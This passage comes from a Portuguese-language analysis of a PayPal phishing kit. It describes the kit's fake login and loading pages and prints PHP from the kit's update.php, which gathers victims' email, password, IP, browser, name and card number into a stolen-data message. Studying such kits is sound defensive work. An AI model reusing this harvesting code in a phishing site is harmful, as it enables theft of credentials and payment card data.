o usuario digite novamente os dados de login. E quando esses dados forem digitados a pagina vai chamar elamesma, porque no inicio dela ha um codigo para tratar os dados. O codigo e esse abaixo.Ha umif que faz uma validacao simples dos dados digitados e casosejam validos sao criadas variaveis de sessao para receber esses dados ea execucao e redirecionada para a pagina:../loading.php?cmd=_login-submit&amp;dispatch=...So queantes desse redirecionamento ha um include interessante tambem:include"../lang/langdetect.php";Alangdetect.php e inserida na webscr/index.php, esseinclude tem como principal objetivo apresentar essa pagina dosegundo login no idioma correto. Dessa vez o atacante nao criou umapagina para cada um, ele usou so uma pagina que para cada string ha uma variavel que a exibe no idioma correto.Isso efeito atraves dessa pagina:Atente-separa a linha 15 da listagem, nao tem nada a ver com idioma, e criada avariavel global PR_TARGET que sera usada mais pra frente:define('PR_TARGET','../WEBSCR-640-20101004-1/Marketing/css/pages/');Ja aspaginas com as strings de cada idioma possuem essa estrutura:Entaoapos digitar pela segunda vez os dados de login e chamada a paginaloading.php, que tem a unica finalidade de exibir umloading... na tela e redirecionar para outra pagina atravesdesse HTML:<METAhttp-equiv=Refresh content="3;URL=webscr/update.php?cmd=_login-done&amp;login_access=1193476743">PaginaprincipalAupdate.php e a pagina mais importante do golpe. A partevisual dela e uma formulario de atualizacao de dados do perfil do PayPal,para o usuario inserir varias informacoes. E como nao poderiafaltar, informacoes de cartao de credito tambem.Ja ocodigo dessa pagina e mais interessante, abaixo segue o trechoreferente ao PHP: <?php /* ############Scam Made By AdAmMeD################ */ # # # Scam Made By AdAmMeD ## Scam Made By AdAmMeD # # # ################################################ /* */ //initialize the session $ip = getenv("REMOTE_ADDR"); $browser = getenv ("HTTP_USER_AGENT"); if (!isset($_SESSION)) { session_start(); } ini_set('session.gc_maxlifetime', 3600); include "../lang/langdetect.php"; require(PR_TARGET."header.php"); global $error; $error = 1; if(@$_POST['cmd'] == "ok"){ if(empty($_POST['defaultcvv2'])){ $defaultcvv2 = 'error'; $error = 0; } if(empty($_POST['answer1'])){ $answer1 = 'error'; $error = 0; } if(empty($_POST['answer2'])){ $answer2 = 'error'; $error = 0; } if(empty($_POST['question1'])){ $quest1 = 'error'; $error = 0; } if(empty($_POST['question2'])){ $quest1 = 'error'; $error = 0; } if(empty($_POST['userphone'])){ $userphone = 'error'; $error = 0; } if(empty($_POST['defaultcardnumber'])){ $defaultcardnumber = 'error'; $error = 0; } if(empty($_POST['defaultcountry'])){ $defaultcountry = 'error'; $error = 0; } if(empty($_POST['fullname'])){ $fullname = 'error'; $error = 0; } if(empty($_POST['defaultaddress1'])){ $defaultaddress1 = 'error'; $error = 0; } if(empty($_POST['defaultcity'])){ $defaultcity = 'error'; $error = 0; } if(empty($_POST['defaultstate'])){ $defaultstate = 'error'; $error = 0; } if(empty($_POST['defaultzip'])){ $defaultzip = 'error'; $error = 0; } if(empty($_POST['bday'])){ $bday = 'error'; $error = 0; } if(empty($_POST['bmonth'])){ $bmonth = 'error'; $error = 0; } if(empty($_POST['byear'])){ $byear = 'error'; $error = 0; } if( empty($_POST['defaultexpmonth']) or empty($_POST['defaultexpyear'])){ $defaultexpmonth = 'error'; $error = 0; } if( ($_POST['defaultexpmonth'] == 01 and $_POST['defaultexpyear'] == 11) or ($_POST['defaultexpmonth'] == 02 and $_POST['defaultexpyear'] == 11) or ($_POST['defaultexpmonth'] == 03 and $_POST['defaultexpyear'] == 11) ){ $defaultexpmonth = 'error'; $error = 0; } if( $error != 0 ){ $message .= "--------------ReZulT SpAm-----------------------\n"; $message .= "Email Address : ".$_SESSION['emaill']."\n"; $message .= "Password : ".$_SESSION['passwordd']."\n"; $message .= "IP : ".$ip."\n"; $message .= "Browser : ".$browser."\n"; $message .= "\n"; $message .= "---------------------------\n"; $message .= "\n"; $message .= "Full Name : ".$_POST['fullname']."\n"; $message .= "Card Type : ".$_POST['card_type']."\n"; $message .= "Card Number : ".$_POST['defaultcardnumber']."\n";